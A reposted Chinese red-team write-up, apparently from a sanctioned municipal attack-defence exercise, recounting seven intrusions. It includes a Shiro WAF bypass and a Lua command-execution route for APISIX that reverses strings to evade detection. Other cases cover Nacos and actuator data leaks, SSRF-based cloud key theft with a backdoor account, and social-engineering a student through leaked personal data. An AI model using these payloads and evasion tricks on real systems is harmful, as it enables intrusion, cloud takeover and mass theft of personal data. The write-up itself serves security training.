Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >攻防|记一次攻防案例总结

攻防|记一次攻防案例总结

原创
作者头像
亿人安全
发布于 2023-12-25 07:44:32
发布于 2023-12-25 07:44:32
82900
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

免责声明

由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦



在某头部直辖市的攻防演练中,各家安全厂商投入了大量人力物力...而我方基本未做准备,只有小米加步枪,且看如何不用0day如何连下数城

前言

几个月前打了一场某头部直辖市的攻防演练,演练当时通知的很急促,没做什么准备直接小米加步枪上阵了...

在此过程中,很多个没用到0day的打点案例都很有意思,下面就简单分享一下

案例一、某单位shiro绕WAF(利用shiro处理rememberMe字段值的feature)

信息搜集到某单位的CAS系统...当时开着Burpsuite插件,扫到了默认的shiro秘钥

当时开心坏了...但是有遥遥领先厂商的WAF在,如果直接上现成的工具会直接寄

后面试了试网上公开的方法,直接把请求方式删掉,依然被拦,包直接被重置掉,无奈寻找新faeture

最终在Shiro的rememberMe字段值处理流程中,发现在Base64解码过程中有戏

如图,在shiro解码base64字符串的过程中,会调用discardNonBase64方法去除掉非Base64的字符

如图所示

那么思路就来了,只需往rememberMe字段的值中填充非Base64的字符即可绕过WAF(比如$符号)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Base64包括小写字母a-z,大写字母A-Z,数字0-9,符号+/组成的64个字符的字符集,另外包括填充字符=

在本地进行测试,果然奏效

那么后面就很简单了,把现成的Shiro利用工具配置Burpsuite的代理,Match&Replace替换部分字符串即可

最终也是成功拿下Shell,只可惜过了半小时就被应急了...

案例二、某互联网厂商 Apisix绕阿里WAF拿下28个Rce

如图使用了apisix网关的WebServer在用户访问不存在的路由时,会抛出如下错误,这可以作为我们指纹识别的特征所在

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
  "error_msg": "404 Route Not Found"
}

针对Apisix节点的攻击方法,想要RCE的话,历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用

过往挖某SRC的时候,就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题

恰巧这次攻防演练中,某目标子域的Apisix,正好就存在Dashboard的未授权访问

直接去Github扒了一个脚本,发现能检测出漏洞,但是RCE利用不成功,把reponse打印出来后,果然...被阿里云的WAF给拦了

随后把创建恶意路由的请求包中,添加一个带有大量脏数据的Json键,发现阿里云不拦了

用之前的Dashboard未授权访问漏洞查看路由,显示恶意路由确实是被写入了...但是直接访问恶意路由却依然提示404

通过未授权访问漏洞,获取全量路由配置后,发现目标apisix应该是集群部署的...

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/apisix/admin/migrate/export

每个路由需要有一个host键来确定该路由被添加到哪个子域

随后再次构造写入恶意路由的数据,把host键加上,发现可以成功写入了

利用未授权接口读出全量路由config,并提取出host键,确定可写入恶意路由的子域范围

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import json

def read_config():
    with open("data.json", 'r') as json_file:
        config = json.load(json_file)
    return config

data = read_config()

if "Routes" in data:
    for route in data["Routes"]:
        if "host" in route:
            host_value = route["host"]
            with open("data.txt", "a") as file:
                file.write(host_value + "\n")
                print(host_value)

但是后面执行命令,有的时候会被阿里云给拦掉,于是构造lua脚本时把传参和命令输出做了倒转,防止被流量检测到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
local file=io.popen(string.reverse(ngx.req.get_headers()['Authenication']),'r')
local output=file:read('*all')
file:close()
ngx.say(string.reverse(output))

由于该apisix集群部署管理了28个子域的服务,所以成功拿下28个子域Rce

案例三、某开发商Nacos未授权访问读取配置信息到精准钓鱼进入内网

利用nacos未授权访问,从CONFIG.INFO读取config信息

很幸运,其中包含公有云数据库凭据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/nacos/v1/cs/ops/derby?sql=select+*+from+CONFIG_INFO+st

可惜试了一下都配了策略,没法外网直接连过去

但是...却发现了config信息中,出现了某系统的一个手机号

随后加上微信钓鱼,以系统升级为由,成功拿到权限

案例四、某国企-从一个任意文件读取到SSO沦陷

某国企子域的资产,发现使用了kkfileview开源项目

翻了一下历史issue,存在全回显的ssrf,在目标上验证成功

同时很幸运,这个点支持file://协议,随后通过file协议读取到网站配置文件,拿到了目标的AK,SK

使用阿里云的Cli创建后门账户,接管目标公有云

同时在root目录,发现有诸多数据库文件

读出多个sql文件内容后,有些库中存放的员工密码是弱加密的

借此我们掌握了部分员工的姓名,工号,明文密码,部门

随后使用IT部门职级比较高的人员的工号、密码,成功进入SSO系统,拥有管理权限

后面就很简单了,创建一个账户,把所有产品和平台的权限点满...

然后,然后所有通过sso登录的系统都能访问到了

案例五、兵不血刃打穿某高校

为什么说兵不血刃呢...因为目标高校外网暴露面很小,基本上攻防演练期间能关的都关了

但是目标高校正值开学季,开放了一个研究生学号的查询系统,可以使用研究生的sfz+姓名 查询学号和初始密码

随后我开始漫长的百度之旅...最终定位到了一名在该校就读的研究生新生小姐姐

利用xx库的神秘力量,找到了小姐姐的信息

最终成功拿到小姐姐的学号和初始密码

非常走运,小姐姐没有改密码,直接进入到ssl vpn系统中

在某个查看学生个人信息的系统重,队友的Burp被动扫描到了一个二级目录的swagger文档

而“添加学生信息查看角色”的接口,竟然是没有鉴权的

随后利用接口,把当前用户添加查看学生信息的权限

如图,拿下全校十万学生的详细信息~

案例6、某单位Gitlab项目权限误配导致公有云接管

防守单位中某单位的Gitlab开放到了公网,但是爆破了一顿,并不存在弱口令和其他Nday漏洞

但是经过对Gitlab的测试,找到了Gitlab中仓库权限的配置问题

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/api/v4/projects

获取到gitlab中部分仓库为public状态,非登录态可直接访问

如图,成功访问到某内部项目

最终在某项目中成功找到了可用的ak,sk,完成公有云接管

案例七、某单位系统从一个actuator httptrace端点到千万量级敏感信息

挂着Burp代理,被动扫描到了一个actuator接口,很幸运,开放了httptrace endpoint,借此我们可以获取到系统中的http请求日志

但是发现如图上方使用的鉴权header并不能直接进入到系统中

刚开始怀疑是鉴权信息的过期时间设置的比较短,写了个脚本监控带有x-access-token的新增请求

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import time

monitored_text = ""

# URL
url = "http://xxxxx.xxxxx.com/xxxxxx/actuator/httptrace/"

while True:
    try:
        response = requests.get(url)
        page_text = response.text
        new_content = page_text[len(monitored_text):]

        # 检查新增的内容是否包含 "x-access-token" 字符串
        if "x-access-token" in new_content:
            current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
            print(f"新增的内容包含 'x-access-token' 于 {current_time}")
        monitored_text = page_text
        time.sleep(1)

    except Exception as e:
        print(f"error Info: {e}")

最终成功拿到了一个可用的token,发现是JWT形式的-_-||...

原来之前拿到的token是测试数据,难怪用不了

使用该JWT,通过webpack提取到的api,访问后端API,拿下大量敏感信息,达千万量级,防止burp卡死,仅列出部分

后言

不断提升识别攻击面、利用攻击面的广度与深度,是一名hacker的核心素养

攻防之中,拥有充足的经验,而又不陷入经验主义的迂腐,面对万难,而又不放弃思考,是出奇制胜的关键所在

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
原文经过过文作者授权转载原文作者:奇安信攻防社区(J0o1ey)原文地址:https://forum.butian.net/share/2596

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
记一次攻防演练之迂回技战法真实案例
开局一个登录框,目标这个样子,记为A,通过常规测试没有突破,从html中提取一些关键字,通过测绘平台搜一下,看能不能打同类型站点获取源码,然后审计出漏洞点。
亿人安全
2024/09/11
1890
记一次攻防演练之迂回技战法真实案例
攻防|记一次市级攻防演练
时间在22年护网结束之后,8月中旬左右,当时公司接了一个市级的攻防演练,作为实习生的我,有幸和师傅一起参加,也是我第一次以红队身份参加,当然,更多的还是蹭师傅的光 拿了第一有个感谢信(O(∩_∩)O哈哈~)。
亿人安全
2023/02/28
8770
攻防|记一次市级攻防演练
记一次某红蓝演练经历
在某天接到任务,对xxx进行一次红蓝演练,于是把自己渗透过程给记录下来,漏洞关键地方也会打码,希望各位大佬理解,菜鸡一枚,勿喷/(ㄒoㄒ)/~~
亿人安全
2024/12/31
1290
记一次某红蓝演练经历
攻防|记一次省护红队的经历
愿我们都能以拿到第一台机器shell的热情继续学习下去,为网上家园筑起属于我们的安全堤坝!
亿人安全
2023/12/11
8240
攻防|记一次省护红队的经历
​云安全风险情报(11.20-11.26)
当前各行业基础设施和服务向云逐渐迁移,随之而来针对云上资产的攻击也不断出现,掌握云上风险态势成为企业安全的重要环节。腾讯安全基于云原生安全体系,通过实时监测各类针对云上资产的攻击行为,持续感知在野攻击情况。经过安全专家的分析和挖掘,漏洞是攻击链上的重要一环,既能看到“老而弥新”漏洞的自动化批量攻击,也可发现新曝光漏洞开始迅速武器化,此外还涉及一些尚未公开的潜在风险被攻击者利用。
安全攻防团队
2023/11/30
3280
​云安全风险情报(11.20-11.26)
​云安全风险情报(11.27-12.03)
当前各行业基础设施和服务向云逐渐迁移,随之而来针对云上资产的攻击也不断出现,掌握云上风险态势成为企业安全的重要环节。腾讯安全基于云原生安全体系,通过实时监测各类针对云上资产的攻击行为,持续感知在野攻击情况。经过安全专家的分析和挖掘,漏洞是攻击链上的重要一环,既能看到“老而弥新”漏洞的自动化批量攻击,也可发现新曝光漏洞开始迅速武器化,此外还涉及一些尚未公开的潜在风险被攻击者利用。
安全攻防团队
2023/12/10
4190
​云安全风险情报(11.27-12.03)
渗透测试-如何高效率挖掘漏洞
21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解
hyyrent
2022/12/26
1.5K0
渗透测试-如何高效率挖掘漏洞
记一次代码审计之nbcio-boot从信息泄露到Getshell
NBCIO 亿事达企业管理平台后端代码,基于jeecgboot3.0和flowable6.7.2,初步完成了集流程设计、流程管理、流程执行、任务办理、流程监控于一体的开源工作流开发平台,同时增加了聊天功能、大屏设计器、网盘功能和项目管理。 项目地址:https://gitee.com/nbacheng/nbcio-boot
亿人安全
2024/09/11
2570
记一次代码审计之nbcio-boot从信息泄露到Getshell
攻防|红队外网打点实战案例分享
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/12/15
1.2K0
攻防|红队外网打点实战案例分享
攻防|记一次攻防演练实战总结
https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/
亿人安全
2022/12/22
1.8K0
攻防|记一次攻防演练实战总结
『攻防』记一次EDU攻防演练
记一次EDU攻防,来之前还是有点怂的,因为前段时间刚打了其它地方EDU感受了一波,小部分目标有重合好难打啊(Too vegetable),不是很正式的感觉队伍也不多,目标分下来混战打,拿到目标表一看。
亿人安全
2022/08/05
1.2K0
『攻防』记一次EDU攻防演练
红队实战攻防技术(一)
大家好,我是风起,最近一直在做安全研究及Kunyu的开发维护,已经好久没有写红队攻防相关的文章了,那么近期将带来 “红队实战攻防技术” 系列的文章。
Seebug漏洞平台
2021/08/12
7220
红队实战攻防技术(一)
一次Shiro反序列化引起的域控沦陷
本文内容是笔者一次从0到1的实战记录,通过一次完整的外网到内网到拿下域控的过程,来为大家带来渗透的一些思路。
谢公子
2022/01/20
1.1K0
一次Shiro反序列化引起的域控沦陷
如何武装你的BurpSuite(一)
由于上次发了一篇文章,记一次Apache Shiro权限绕过实战,文章中出现了利用BurpSutie扩展,快速定位Shiro框架资产的插件,很多同学找我问了这是什么插件,于是我决定写篇文章分享一下自己所收集的部分BurpSutie扩展,供各位参考使用。
F12sec
2022/09/29
2.1K0
如何武装你的BurpSuite(一)
攻防 | 记一次打穿xx公司域控
https://www.freebuf.com/articles/web/373114.html
亿人安全
2023/08/10
5130
攻防 | 记一次打穿xx公司域控
实战 | 对自己学校内网的渗透测试
一直以来都想拿自己学校的内网练练手,跟负责网安的老师说了一声后,回去直接开搞。这里作了比较详细的记录,希望大家能多多指点。
亿人安全
2024/08/29
6990
实战 | 对自己学校内网的渗透测试
JAVA常见漏洞复现
Shiro550漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==,这就更容易导致RCE漏洞
用户9691112
2023/05/18
1.9K0
JAVA常见漏洞复现
攻防|记一些非常规环境下编辑器的一些Bypass思路
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/12/28
6330
攻防|记一些非常规环境下编辑器的一些Bypass思路
记一次Redis+Getshell经验分享
你是我患得患失的梦,我是你可有可无的人,毕竟这穿越山河的箭,刺的都是用情之疾的人。
FB客服
2020/02/12
9860
记一次Redis+Getshell经验分享
蓝队面试经验详细总结
在 mysql 中,分号 代表一个查询语句的结束,所以我们可以用分号在一行里拼接多个查询语句
黑战士
2024/04/16
3780
相关推荐
记一次攻防演练之迂回技战法真实案例
更多 >
LV.4
腾讯安全工程师
加入讨论
的问答专区 >
先锋会员擅长2个领域
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
    本文部分代码块支持一键运行,欢迎体验
    本文部分代码块支持一键运行,欢迎体验